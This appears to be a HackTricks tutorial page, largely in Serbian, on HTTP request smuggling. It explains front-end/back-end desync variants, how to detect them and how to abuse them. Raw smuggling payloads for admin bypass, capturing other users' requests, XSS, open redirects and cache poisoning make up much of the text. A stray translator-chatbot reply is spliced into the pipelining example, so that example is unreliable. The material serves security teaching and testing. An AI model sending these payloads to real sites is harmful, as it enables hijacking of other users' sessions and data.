HTTP Request Smuggling / HTTP Desync Attack

Reading time: 32 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Šta je

Ova ranjivost se javlja kada desinhronizacija između front-end proxies i back-end servera dozvoli napadaču da pošalje HTTP request koji će biti interpretiran kao jedan request od strane front-end proxyja (load balance/reverse-proxy) i kao 2 requesta od strane back-end servera.
Ovo omogućava korisniku da izmeni sledeći request koji stigne do back-end servera nakon njegovog.

Teorija

RFC Specification (2161)

If a message is received with both a Transfer-Encoding header field and a Content-Length header field, the latter MUST be ignored.

Content-Length

The Content-Length entity header indicates the size of the entity-body, in bytes, sent to the recipient.

Transfer-Encoding: chunked

The Transfer-Encoding header specifies the form of encoding used to safely transfer the payload body to the user.
Chunked means that large data is sent in a series of chunks

Realnost

Front-End (a load-balance / Reverse Proxy) obrađuje Content-Length ili Transfer-Encoding header, dok Back-end server obrađuje drugi, izazivajući desinhronizaciju između ta dva sistema.
Ovo može biti jako kritično jer će napadač moći da pošalje jedan request ka reverse proxyju koji će back-end server interpretirati kao 2 različita requesta. Opasnost ove tehnike leži u tome što će back-end server interpretirati injektovani 2. request kao da je došao od sledećeg klijenta, dok će stvarni request tog klijenta postati deo injektovanog requesta.

Posebnosti

Zapamtite da je u HTTP-u karakter novog reda sastavljen od 2 bajta:

  • Content-Length: Ovaj header koristi decimalni broj da pokaže broj bajtova tela requesta. Očekuje se da telo prestane na poslednjem karakteru; novi red na kraju requesta nije potreban.
  • Transfer-Encoding: Ovaj header u telu koristi heksadecimalni broj da označi broj bajtova narednog chunk-a. Chunk mora završiti novim redom, ali taj novi red nije uračunat u indikator dužine. Ovaj način transfera mora da se završi chunk-om veličine 0 praćenim sa 2 nova reda: 0
  • Connection: Iz mog iskustva preporučuje se korišćenje Connection: keep-alive u prvom requestu pri request smuggling-u.

Visible - Hidden

Glavni problem sa http/1.1 je što svi requesti idu kroz isti TCP socket, pa ako se nađu razlike između dva sistema koji primaju requeste, moguće je poslati jedan request koji će konačni backend (ili čak međusistemi) tretirati kao 2 različita requesta (ili više).

This blog post predlaže nove načine da se detektuju desync napadi na sistem koji neće biti flagovan od strane WAF-ova. Za ovo predstavlja Visible vs Hidden ponašanja. Cilj u ovom slučaju je pokušati pronaći razlike u odgovoru koristeći tehnike koje bi mogle izazvati desync bez stvarnog eksploatisanja.

Na primer, slanje requesta sa normalnim Host headerom i sa " host" headerom — ako backend prigovori na ovaj request (možda zato što je vrednost " host" netačna), to može značiti da front-end nije uočio " host" header dok ga je konačni backend upotrebio, što snažno ukazuje na desync između front-end-a i back-end-a.

Ovo bi bio Hidden-Visible discrepancy.

Ako bi front-end uzeo u obzir " host" header ali back-end ne, to bi mogao biti Visible-Hidden slučaj.

Na primer, ovo je omogućilo otkrivanje desync-a između AWS ALB kao front-end-a i IIS-a kao back-end-a. To je zato što kada je poslat "Host: foo/bar", ALB je vratio 400, Server; awselb/2.0, ali kada je poslat "Host : foo/bar", vratio je 400, Server: Microsoft-HTTPAPI/2.0, što ukazuje da backend šalje odgovor. Ovo je Hidden-Visible (H-V) situacija.

Napomena: ovo nije ispravljeno u AWS-u, ali se može ublažiti postavljanjem routing.http.drop_invalid_header_fields.enabled i routing.http.desync_mitigation_mode = strictest.

Osnovni primeri

tip

Kada pokušavate da eksploatišete ovo sa Burp Suite onemogućite Update Content-Length i Normalize HTTP/1 line endings u repeater-u jer neki gadgeti zloupotrebljavaju nove redove, carriage return-e i malformisane content-length vrednosti.

HTTP request smuggling napadi se kreiraju slanjem dvosmislenih requestova koji iskorišćavaju razlike u načinu na koji front-end i back-end serveri interpretiraju Content-Length (CL) i Transfer-Encoding (TE) headere. Ovi napadi se mogu manifestovati u različitim oblicima, pre svega kao CL.TE, TE.CL, i TE.TE. Svaka vrsta predstavlja jedinstvenu kombinaciju prioriteta ovih headera između front-end i back-end servera. Ranjivosti nastaju kada serveri obrađuju isti request na različite načine, što vodi do neočekivanih i potencijalno malicioznih ishoda.

Osnovni primeri tipova ranjivosti

https://twitter.com/SpiderSec/status/1200413390339887104?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104&ref_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104

tip

U prethodnu tabelu treba dodati i TE.0 tehniku, slično CL.0, ali koristeći Transfer-Encoding.

CL.TE ranjivost (Content-Length koristi Front-End, Transfer-Encoding koristi Back-End)

  • Front-End (CL): Procesira request na osnovu Content-Length headera.

  • Back-End (TE): Procesira request na osnovu Transfer-Encoding headera.

  • Scenarij napada:

  • Napadač šalje request gde se vrednost Content-Length headera ne poklapa sa stvarnom dužinom sadržaja.

  • Front-end server prosleđuje ceo request ka back-end-u na osnovu vrednosti Content-Length.

  • Back-end server obrađuje request kao chunked zbog Transfer-Encoding: chunked headera, tumačeći preostale podatke kao zaseban, naredni request.

  • Primer:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 30
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /404 HTTP/1.1
Foo: x

TE.CL ranjivost (Transfer-Encoding koristi Front-End, Content-Length koristi Back-End)

  • Front-End (TE): Procesira request na osnovu Transfer-Encoding headera.

  • Back-End (CL): Procesira request na osnovu Content-Length headera.

  • Scenarij napada:

  • Napadač šalje chunked request gde se veličina chunk-a (7b) i stvarna dužina sadržaja (Content-Length: 4) ne poklapaju.

  • Front-end server, poštujući Transfer-Encoding, prosleđuje ceo request ka back-end-u.

  • Back-end server, poštujući Content-Length, obrađuje samo početni deo requesta (7b bajtova), ostavljajući ostatak kao deo nenameravanog narednog requesta.

  • Primer:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked

7b
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

x=
0

TE.TE ranjivost (Transfer-Encoding koristi oba, sa obfuskovanjem)

  • Serveri: Oboje podržavaju Transfer-Encoding, ali jedan može biti zavaravan da ga ignoriše putem obfuskovanja.

  • Scenarij napada:

  • Napadač šalje request sa obfuskovanim Transfer-Encoding header-ima.

  • U zavisnosti od toga koji server (front-end ili back-end) ne prepozna obfuskovanje, može se iskoristiti CL.TE ili TE.CL ranjivost.

  • Neobrađeni deo requesta, kako ga vidi jedan od servera, postaje deo narednog requesta, što dovodi do smuggling-a.

  • Primer:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked

CL.CL scenario (Content-Length koristi i Front-End i Back-End)

  • Obe strane procesuiraju request isključivo na osnovu Content-Length headera.
  • Ovaj scenario obično ne vodi do smuggling-a, jer postoji usklađenost u načinu kako oba servera interpretiraju dužinu requesta.
  • Primer:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Normal Request

CL.0 scenario

  • Odnosi se na slučajeve gde je Content-Length header prisutan i ima vrednost različitu od nule, što ukazuje da telo requesta sadrži sadržaj. Back-end ignoriše Content-Length header (koji se tretira kao 0), ali front-end ga parsira.
  • Ovo je ključno za razumevanje i kreiranje smuggling napada, jer utiče na to kako serveri određuju kraj requesta.
  • Primer:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Non-Empty Body

TE.0 scenario

  • Kao prethodni, ali koristeći TE.
  • Technique reported here
  • Primer:
OPTIONS / HTTP/1.1
Host: {HOST}
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Transfer-Encoding: chunked
Connection: keep-alive

50
GET <http://our-collaborator-server/> HTTP/1.1
x: X
0
EMPTY_LINE_HERE
EMPTY_LINE_HERE

0.CL Scenarij

U 0.CL situaciji, zahtev se šalje sa Content-Length kao:

GET /Logon HTTP/1.1
Host: <redacted>
Content-Length:
7

GET /404 HTTP/1.1
X: Y

Front-end ne uzima u obzir Content-Length, pa šalje samo prvi request ka backendu (do 7 u primeru). Međutim, backend vidi Content-Length i čeka body koji nikada ne stigne jer front-end već čeka response.

Međutim, ako postoji request koji je moguće poslati backendu i na koji se odgovori pre nego što stigne body, ovaj deadlock se neće desiti. U IIS, na primer, to se dešava slanjem requestova ka zabranjenim imenima kao što je /con (check the documentation), tako da početni request bude odmah odgovoren, a drugi request će sadržati request žrtve kao:

GET / HTTP/1.1
X: yGET /victim HTTP/1.1
Host: <redacted>

Ovo je korisno za izazivanje desync-a, ali do sada to nije imalo uticaja.

Međutim, post nudi rešenje za ovo pretvaranjem 0.CL attack into a CL.0 with a double desync.

Rušenje web servera

Ova tehnika je takođe korisna u scenarijima gde je moguće slomiti web server dok se čitaju početni HTTP podaci, ali bez zatvaranja konekcije. Na taj način, telo HTTP zahteva će biti smatrano sledećim HTTP zahtevom.

Na primer, kao što je objašnjeno u this writeup, u Werkzeug-u je bilo moguće poslati neke Unicode karaktere i to će naterati server da se sruši. Međutim, ako je HTTP konekcija kreirana sa headerom Connection: keep-alive, telo zahteva neće biti pročitano i konekcija će ostati otvorena, tako da će telo zahteva biti tretirano kao sledeći HTTP zahtev.

Primoravanje putem hop-by-hop hedera

Zloupotrebom hop-by-hop hedera možete naterati proxy da obriše header Content-Length ili Transfer-Encoding, čime se omogućava da se HTTP request smuggling zloupotrebi.

Connection: Content-Length

Za više informacija o hop-by-hop headers posetite:

hop-by-hop headers

Finding HTTP Request Smuggling

Identifikacija ranjivosti HTTP request smuggling-a često se može postići korišćenjem tehnika vremenskog merenja, koje se oslanjaju na posmatranje koliko serveru treba da odgovori na manipulisan zahtev. Ove tehnike su posebno korisne za detekciju CL.TE i TE.CL ranjivosti. Pored ovih metoda, postoje i druge strategije i alati koji se mogu koristiti za pronalaženje ovakvih ranjivosti:

Pronalaženje CL.TE ranjivosti korišćenjem tehnika vremenskog merenja

  • Metod:

  • Pošaljite zahtev koji, ako je aplikacija ranjiva, natera back-end server da čeka dodatne podatke.

  • Primer:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4

1
A
0
  • Posmatranje:

  • Front-end server obrađuje zahtev na osnovu Content-Length i preseče poruku pre vremena.

  • Back-end server, očekujući chunked poruku, čeka sledeći chunk koji nikada ne stigne, što izaziva kašnjenje.

  • Indikatori:

  • Timeout-ovi ili dugačka kašnjenja u odgovoru.

  • Prijem 400 Bad Request greške od back-end servera, ponekad sa detaljnijim informacijama o serveru.

Pronalaženje TE.CL ranjivosti korišćenjem tehnika vremenskog merenja

  • Metod:

  • Pošaljite zahtev koji, ako je aplikacija ranjiva, natera back-end server da čeka dodatne podatke.

  • Primer:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6

0
X
  • Posmatranje:
  • Front-end server obrađuje zahtev na osnovu Transfer-Encoding i prosleđuje celu poruku.
  • Back-end server, očekujući poruku na osnovu Content-Length, čeka dodatne podatke koji nikada ne stignu, što izaziva kašnjenje.

Druge metode za pronalaženje ranjivosti

  • Analiza diferencijalnih odgovora:
  • Pošaljite blago izmenjene verzije zahteva i posmatrajte da li se odgovori servera razlikuju na neočekivan način, što ukazuje na neusaglašenost u parsiranju.
  • Korišćenje automatizovanih alata:
  • Alati poput Burp Suite-ovog 'HTTP Request Smuggler' ekstenzije mogu automatski testirati ove ranjivosti slanjem različitih oblika dvosmislenih zahteva i analizom odgovora.
  • Testovi varijacije Content-Length:
  • Pošaljite zahteve sa različitim Content-Length vrednostima koje nisu usklađene sa stvarnom dužinom sadržaja i posmatrajte kako server postupa sa takvim neusaglašenostima.
  • Testovi varijacije Transfer-Encoding:
  • Pošaljite zahteve sa zamaskiranim ili neispravnim Transfer-Encoding header-ima i pratite kako se front-end i back-end serveri različito ponašaju na takve manipulacije.

The Expect: 100-continue header

Proverite kako ovaj header može pomoći pri eksploatisanju http desync-a u:

Special Http Headers

HTTP Request Smuggling Vulnerability Testing

Nakon potvrde efikasnosti tehnika vremenskog merenja, ključno je verifikovati da li klijentski zahtevi zaista mogu biti manipulisani. Jednostavan metod je pokušaj "poison"-ovanja (zatrovanja) vaših zahteva — na primer, naterajte zahtev ka / da proizvede 404 odgovor. Primeri CL.TE i TE.CL iz Basic Examples ranije pokazuju kako zatrovati klijentov zahtev da izazove 404 odgovor, uprkos tome što klijent pokušava da pristupi drugom resursu.

Ključna razmatranja

Pri testiranju za request smuggling ranjivosti mešanjem sa drugim zahtevima, imajte u vidu:

  • Različite mrežne konekcije: "attack" i "normal" zahtevi treba da budu poslati preko odvojenih mrežnih konekcija. Korišćenje iste konekcije za oba ne potvrđuje postojanje ranjivosti.
  • Konzistentan URL i parametri: Težite da koristite identične URL-ove i nazive parametara za oba zahteva. Moderne aplikacije često rutiraju zahteve ka specifičnim back-end serverima na osnovu URL-a i parametara. Podudaranje ovih podataka povećava verovatnoću da će oba zahteva obraditi isti server, što je preduslov za uspešan napad.
  • Vremenski uslovi i trkanje (racing): "Normal" zahtev, koji treba da detektuje interferenciju od "attack" zahteva, takmiči se sa drugim istovremenim zahtevima aplikacije. Zato pošaljite "normal" zahtev odmah nakon "attack" zahteva. Zauzete aplikacije mogu zahtevati više pokušaja za konačnu potvrdu ranjivosti.
  • Izazovi balansiranja opterećenja: Front-end serveri koji rade kao balanseri opterećenja mogu raspoređivati zahteve na različite back-end sisteme. Ako "attack" i "normal" zahtevi završe na različitim sistemima, napad neće uspeti. Ovaj aspekt balansiranja opterećenja može zahtevati više pokušaja da biste potvrdili ranjivost.
  • Neželjeni uticaj na korisnike: Ako vaš napad nenamerno utiče na zahtev nekog drugog korisnika (ne na "normal" zahtev koji ste poslali za detekciju), to ukazuje da je vaš napad uticao na drugog korisnika aplikacije. Kontinuirano testiranje može ometati druge korisnike, pa postupajte oprezno.

Distinguishing HTTP/1.1 pipelining artifacts vs genuine request smuggling

Poništavanje konekcije (keep-alive) i pipelining lako mogu proizvesti iluzije "smuggling"-a u alatima za testiranje koji šalju više zahteva na istom socket-u. Naučite da odvojite bezopasne artefakte sa klijentske strane od stvarne desinhronizacije na strani servera.

Why pipelining creates classic false positives

HTTP/1.1 ponovo koristi jednu TCP/TLS konekciju i konkatenira zahteve i odgovore na istom toku. U pipelining-u, klijent šalje više zahteva jedan za drugim i oslanja se na odgovore u istom redu. Uobičajen false-positive je ponovo slanje malformiranog CL.0-stila payload-a dva puta na jednoj konekciji:

POST / HTTP/1.1
Host: hackxor.net
Content_Length: 47

GET /robots.txt HTTP/1.1
X: Y

Ne vidim sadržaj fajla. Pošaljite tekst iz src/pentesting-web/http-request-smuggling/README.md i prevešću ga na srpski, zadržavajući sve markdown/html tagove i linkove.

HTTP/1.1 200 OK
Content-Type: text/html

HTTP/1.1 200 OK
Content-Type: text/plain

User-agent: *
Disallow: /settings

Ako server ignoriše neispravan Content_Length, nema FE↔BE desync. Sa reuse, vaš klijent je zapravo poslao ovaj byte-stream, koji je server parsirao kao dva nezavisna zahteva:

POST / HTTP/1.1
Host: hackxor.net
Content_Length: 47

GET /robots.txt HTTP/1.1
X: YPOST / HTTP/1.1
Host: hackxor.net
Content_Length: 47

GET /robots.txt HTTP/1.1
X: Y

Uticaj: nijedan. Samo ste desinhronizovali klijenta u odnosu na framing servera.

tip

Burp moduli koji zavise od reuse/pipelining: Turbo Intruder sa requestsPerConnection>1, Intruder sa "HTTP/1 connection reuse", Repeater "Send group in sequence (single connection)" ili "Enable connection reuse".

Litmus testovi: pipelining ili realni desync?

  1. Disable reuse and re-test
  • U Burp Intruder/Repeater, isključite HTTP/1 reuse i izbegavajte "Send group in sequence".
  • U Turbo Intruder, postavite requestsPerConnection=1 i pipeline=False.
  • Ako se ponašanje ukloni, verovatno je u pitanju client-side pipelining, osim ako ne radite sa connection-locked/stateful targetima ili client-side desync.
  1. HTTP/2 nested-response check
  • Pošaljite HTTP/2 request. Ako telo odgovora sadrži kompletan ugnježdeni HTTP/1 response, dokazali ste backend parsing/desync bug umesto čistog client artefakta.
  1. Partial-requests probe for connection-locked front-ends
  • Neki FEs ponovo koriste upstream BE konekciju samo ako je klijent ponovo koristio svoju. Koristite partial-requests da detektujete FE ponašanje koje reflektuje reuse klijenta.
  • Pogledajte PortSwigger "Browser‑Powered Desync Attacks" za connection-locked tehniku.
  1. State probes
  • Tražite razlike između prvog i narednih zahteva na istoj TCP konekciji (first-request routing/validation).
  • Burp "HTTP Request Smuggler" uključuje connection‑state probe koja automatizuje ovo.
  1. Visualize the wire
  • Koristite Burp "HTTP Hacker" ekstenziju da direktno pregledate konkatenaciju i framing poruka dok eksperimentišete sa reuse i partial requests.

Connection‑locked request smuggling (reuse-required)

Neki front-endovi ponovo koriste upstream konekciju samo kada klijent ponovo koristi svoju. Stvarni smuggling postoji, ali je uslovljen client-side reuse-om. Da biste razlikovali i dokazali uticaj:

  • Prove the server-side bug
  • Koristite HTTP/2 nested-response check, ili
  • Koristite partial-requests da pokažete da FE ponovo koristi upstream samo kada to client radi.
  • Pokažite stvarni uticaj čak i ako je direktna cross-user socket zloupotreba blokirana:
  • Cache poisoning: poison shared caches via the desync so responses affect other users.
  • Internal header disclosure: reflect FE-injected headers (e.g., auth/trust headers) and pivot to auth bypass.
  • Bypass FE controls: smuggle restricted paths/methods past the front-end.
  • Host-header abuse: combine with host routing quirks to pivot to internal vhosts.
  • Operator workflow
  • Reproduce with controlled reuse (Turbo Intruder requestsPerConnection=2, or Burp Repeater tab group → "Send group in sequence (single connection)").
  • Then chain to cache/header-leak/control-bypass primitives and demonstrate cross-user or authorization impact.

See also connection‑state attacks, which are closely related but not technically smuggling:

{{#ref}} ../http-connection-request-smuggling.md {{#endref}}

Client‑side desync constraints

Ako ciljate browser-powered/client-side desync, maliciozni zahtev mora biti poslativ od strane browsera cross-origin. Header obfuscation trikovi neće raditi. Fokusirajte se na primitive dostupne preko navigation/fetch, pa zatim pivotirajte na cache poisoning, header disclosure, ili front-end control bypass gde downstream komponente reflektuju ili keširaju odgovore.

Za pozadinu i end-to-end workflow-e:

Browser HTTP Request Smuggling

Tooling to help decide

  • HTTP Hacker (Burp BApp Store): prikazuje nisko-nivo HTTP ponašanje i socket concatenation.
  • "Smuggling or pipelining?" Burp Repeater Custom Action: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda
  • Turbo Intruder: precizna kontrola nad connection reuse-om putem requestsPerConnection.
  • Burp HTTP Request Smuggler: uključuje connection‑state probe za otkrivanje first‑request routing/validation.

note

Smatrajte efekte koji zavise samo od reuse-a nebitnim osim ako ne možete dokazati server-side desync i priložiti konkretan uticaj (poisoned cache artifact, leaked internal header enabling privilege bypass, bypassed FE control, itd.).

Abusing HTTP Request Smuggling

Circumventing Front-End Security via HTTP Request Smuggling

Ponekad front-end proxyji primenjuju sigurnosne mere, brižljivo proveravajući dolazeće zahteve. Međutim, ove mere se mogu zaobići iskorišćavanjem HTTP Request Smuggling-a, omogućavajući neovlašćeni pristup ograničenim endpoint-ima. Na primer, pristup /admin može biti zabranjen spolja, pri čemu front-end proxy aktivno blokira takve pokušaje. Ipak, taj proxy može zanemriti inspekciju ugrađenih zahteva unutar smuggled HTTP zahteva, ostavljajući rupu za zaobilaženje ovih ograničenja.

Razmotrite sledeće primere koji ilustruju kako se HTTP Request Smuggling može koristiti za zaobilaženje front-end sigurnosnih kontrola, posebno ciljajući putanju /admin koja je obično zaštićena front-end proxyjem:

CL.TE Example

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked

0
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10

x=

U CL.TE napadu, zaglavlje Content-Length se koristi za inicijalni zahtev, dok naknadni ugrađeni zahtev koristi zaglavlje Transfer-Encoding: chunked.

Front-end proxy obrađuje inicijalni POST zahtev, ali ne uspeva da ispita ugrađeni GET /admin zahtev, što omogućava neovlašćen pristup putanji /admin.

TE.CL Primer

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /admin HTTP/1.1
Host: localhost
a=x
0

Suprotno tome, u TE.CL attacku, početni POST zahtev koristi Transfer-Encoding: chunked, a naknadni ugrađeni zahtev se obrađuje na osnovu Content-Length headera. Slično CL.TE attacku, front-end proxy previdi smuggled GET /admin request, nenamerno omogućavajući pristup ograničenom /admin path-u.

Otkrivanje prepisivanja zahteva na front-endu

Aplikacije često koriste front-end server da modifikuju dolazne zahteve pre nego što ih proslede back-end serveru. Tipična modifikacija uključuje dodavanje headera, kao što je X-Forwarded-For: <IP of the client>, kako bi se IP klijenta prosledio back-endu. Razumevanje ovih izmena može biti ključno, jer može otkriti načine za bypass protections ili uncover concealed information or endpoints.

Da biste ispitali kako proxy menja zahtev, pronađite POST parameter koji back-end vraća u odgovoru. Zatim sastavite zahtev, koristeći taj parameter poslednjim, slično sledećem:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Connection: keep-alive
Transfer-Encoding: chunked

0

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

search=

U ovoj strukturi, naknadne komponente zahteva se dodaju posle search=, koji je parametar reflektovan u odgovoru. Ovo reflektovanje će otkriti zaglavlja narednog zahteva.

Važno je uskladiti zaglavlje Content-Length ugnježdenog zahteva sa stvarnom dužinom sadržaja. Preporučljivo je početi sa malom vrednošću i postepeno je povećavati, jer će premala vrednost skratiti reflektovane podatke, dok prevelika vrednost može prouzrokovati grešku zahteva.

Ova tehnika je takođe primenljiva u kontekstu TE.CL ranjivosti, ali zahtev bi trebalo da se završi sa search=\r\n0. Bez obzira na karaktere za novi red, vrednosti će se dodati parametru search.

Ovaj metod prvenstveno služi za razumevanje izmena zahteva koje pravi front-end proxy, praktično obavljajući samostalnu istragu.

Presretanje zahteva drugih korisnika

Moguće je presresti zahteve narednog korisnika tako što se tokom POST operacije doda specifičan zahtev kao vrednost parametra. Evo kako se to može izvesti:

Dodanjem sledećeg zahteva kao vrednosti parametra, možete sačuvati zahtev narednog klijenta:

POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
Connection: keep-alive
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Length: 659
Content-Type: application/x-www-form-urlencoded
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi

csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=

U ovom scenariju, comment parameter je namenjen za čuvanje sadržaja u sekciji komentara objave na javno dostupnoj stranici. Posledično, sadržaj narednog zahteva će se pojaviti kao komentar.

Međutim, ova tehnika ima ograničenja. Generalno, ona hvata podatke samo do delimitera parametra koji se koristi u smuggled zahtevu. Za URL-encoded form submissions, taj delimiter je karakter &. To znači da će uhvaćeni sadržaj iz zahteva žrtve prestati na prvom &, koji čak može biti deo query stringa.

Takođe, vredi napomenuti da je ovaj pristup moguć i kod TE.CL ranjivosti. U takvim slučajevima, zahtev treba da se završi sa search=\r\n0. Bez obzira na newline karaktere, vrednosti će biti dodate parametru search.

Korišćenje HTTP Request Smuggling za iskorišćavanje Reflected XSS

HTTP Request Smuggling može se iskoristiti za napad na veb-stranice ranjive na Reflected XSS, nudeći značajne prednosti:

  • Interakcija sa ciljnim korisnicima nije potrebna.
  • Dozvoljava iskorišćavanje XSS-a u delovima zahteva koji su obično nedostupni, kao što su HTTP request headers.

U scenarijima gde je veb-sajt podložan Reflected XSS preko User-Agent zaglavlja, sledeći payload pokazuje kako iskoristiti ovu ranjivost:

POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: session=ac311fa41f0aa1e880b0594d008d009e
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 213
Content-Type: application/x-www-form-urlencoded

0

GET /post?postId=2 HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: "><script>alert(1)</script>
Content-Length: 10
Content-Type: application/x-www-form-urlencoded

A=

Ovaj payload je strukturiran da iskoristi ranjivost na sledeći način:

  1. Pokretanje POST request-a, naizgled tipičnog, sa Transfer-Encoding: chunked header-om koji označava početak smuggling.
  2. Sledeće dolazi 0, što označava kraj chunked tela poruke.
  3. Zatim se uvodi smuggled GET request, gde je User-Agent header ubrizgan skriptom <script>alert(1)</script>, što pokreće XSS kada server obradi ovaj naredni request.

Manipulišući User-Agent kroz smuggling, payload zaobilazi normalna ograničenja zahteva i na taj način, na nestandardan ali efektan način, iskorišćava Reflected XSS ranjivost.

HTTP/0.9

caution

U slučaju da se korisnički sadržaj reflektuje u odgovoru sa Content-type kao što je text/plain, to sprečava izvršavanje XSS. Ako server podržava HTTP/0.9 možda je moguće zaobići ovo!

Verzija HTTP/0.9 je prethodila 1.0 i koristi samo GET verbs i doesn’t odgovara sa headers, već samo telo.

U this writeup, ovo je zloupotrebljeno pomoću request smuggling i vulnerable endpoint that will reply with the input of the user da bi se smugglao request sa HTTP/0.9. Parametar koji će biti reflektovan u odgovoru sadržao je fake HTTP/1.1 response (with headers and body), tako da odgovor sadrži validan izvršni JS kod sa Content-Type text/html.

Eksploatisanje on-site redirect-ova pomoću HTTP Request Smuggling

Aplikacije često preusmeravaju sa jednog URL-a na drugi koristeći hostname iz Host header-a u redirect URL-u. Ovo je uobičajeno kod web servera kao što su Apache i IIS. Na primer, zahtev za folder bez završnog kosa crte rezultira preusmerenjem koje dodaje kosu crtu:

GET /home HTTP/1.1
Host: normal-website.com

Rezultira u:

HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/

Iako naizgled bezopasno, ovo ponašanje se može iskoristiti pomoću HTTP request smuggling da preusmeri korisnike na eksterni sajt. Na пример:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com
Foo: X

Ovaj smuggled request može uzrokovati da sledeći obrađeni korisnički zahtev bude preusmeren na attacker-controlled website:

GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com

Dovodi do:

HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/

U ovom scenariju, zahtev korisnika za JavaScript fajlom se otima. Napadač može kompromitovati korisnika tako što će u odgovoru poslati maliciozni JavaScript.

Exploiting Web Cache Poisoning via HTTP Request Smuggling

Web cache poisoning može biti izveden ako bilo koja komponenta front-end infrastrukture kešira sadržaj, obično radi poboljšanja performansi. Manipulacijom odgovora servera, moguće je poison the cache.

Ranije smo videli kako se odgovori servera mogu izmeniti da vrate 404 grešku (pogledajte Basic Examples). Na sličan način moguće je prevariti server da u odgovoru za zahtev za /static/include.js isporuči sadržaj /index.html. Kao posledica, sadržaj /static/include.js se u kešu zamenjuje sadržajem /index.html, čineći /static/include.js nedostupnim korisnicima, što potencijalno vodi do Denial of Service (DoS).

Tehnika postaje posebno potentna ako se otkrije Open Redirect vulnerability ili ako postoji on-site redirect to an open redirect. Takve ranjivosti se mogu iskoristiti da se keširani sadržaj /static/include.js zameni skriptom pod kontrolom napadača, što u suštini omogućava rašireni Cross-Site Scripting (XSS) napad na sve klijente koji zahtevaju ažurirani /static/include.js.

U nastavku je ilustracija iskorišćavanja cache poisoning combined with an on-site redirect to open redirect. Cilj je promeniti keširani sadržaj /static/include.js tako da servira JavaScript kod pod kontrolom napadača:

POST / HTTP/1.1
Host: vulnerable.net
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 124
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Host: attacker.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=1

Note the embedded request targeting /post/next?postId=3. This request will be redirected to /post?postId=4, utilizing the Host header value to determine the domain. By altering the Host header, the attacker can redirect the request to their domain (on-site redirect to open redirect).

After successful socket poisoning, a GET request for /static/include.js should be initiated. This request will be contaminated by the prior on-site redirect to open redirect request and fetch the content of the script controlled by the attacker.

Subsequently, any request for /static/include.js will serve the cached content of the attacker's script, effectively launching a broad XSS attack.

Using HTTP request smuggling to perform web cache deception

Koja je razlika između web cache poisoning i web cache deception?

  • Kod web cache poisoning, napadač natera aplikaciju da sačuva neki maliciozni sadržaj u kešu, i taj sadržaj se posluži iz keša drugim korisnicima aplikacije.
  • Kod web cache deception, napadač natera aplikaciju da sačuva osetljiv sadržaj koji pripada drugom korisniku u kešu, a zatim napadač preuzme taj sadržaj iz keša.

